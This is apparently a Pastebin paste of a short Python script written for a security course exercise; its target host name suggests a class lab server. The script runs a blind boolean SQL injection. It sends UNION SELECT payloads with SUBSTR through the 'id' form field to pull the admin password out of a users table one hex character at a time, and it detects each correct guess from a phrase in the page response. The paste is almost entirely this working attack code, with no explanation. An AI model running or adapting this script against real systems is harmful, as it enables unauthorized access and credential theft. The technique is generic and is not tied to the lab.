Advertisement
Guest User

Untitled

a guest
Apr 9th, 2020
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.45 KB | None | 0 0
  1. import requests
  2.  
  3. url = 'http://csce465shell.martincarlisle.com/problem/34877/game.php'
  4.  
  5. s = "0123456789abcdef"
  6. p = ''
  7.  
  8. for i in range(1, 9):
  9.     for c in s:
  10.         data = {'id': "0' union select name,password from users where name='admin' and SUBSTR(password, "+str(i)+",1)='"+c+"';\"#'", "debug": 0}
  11.         x = requests.post(url, data = data)
  12.  
  13.         if 'I know that game!' in x.text:
  14.             p += c
  15.             break
  16.  
  17. print(p)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement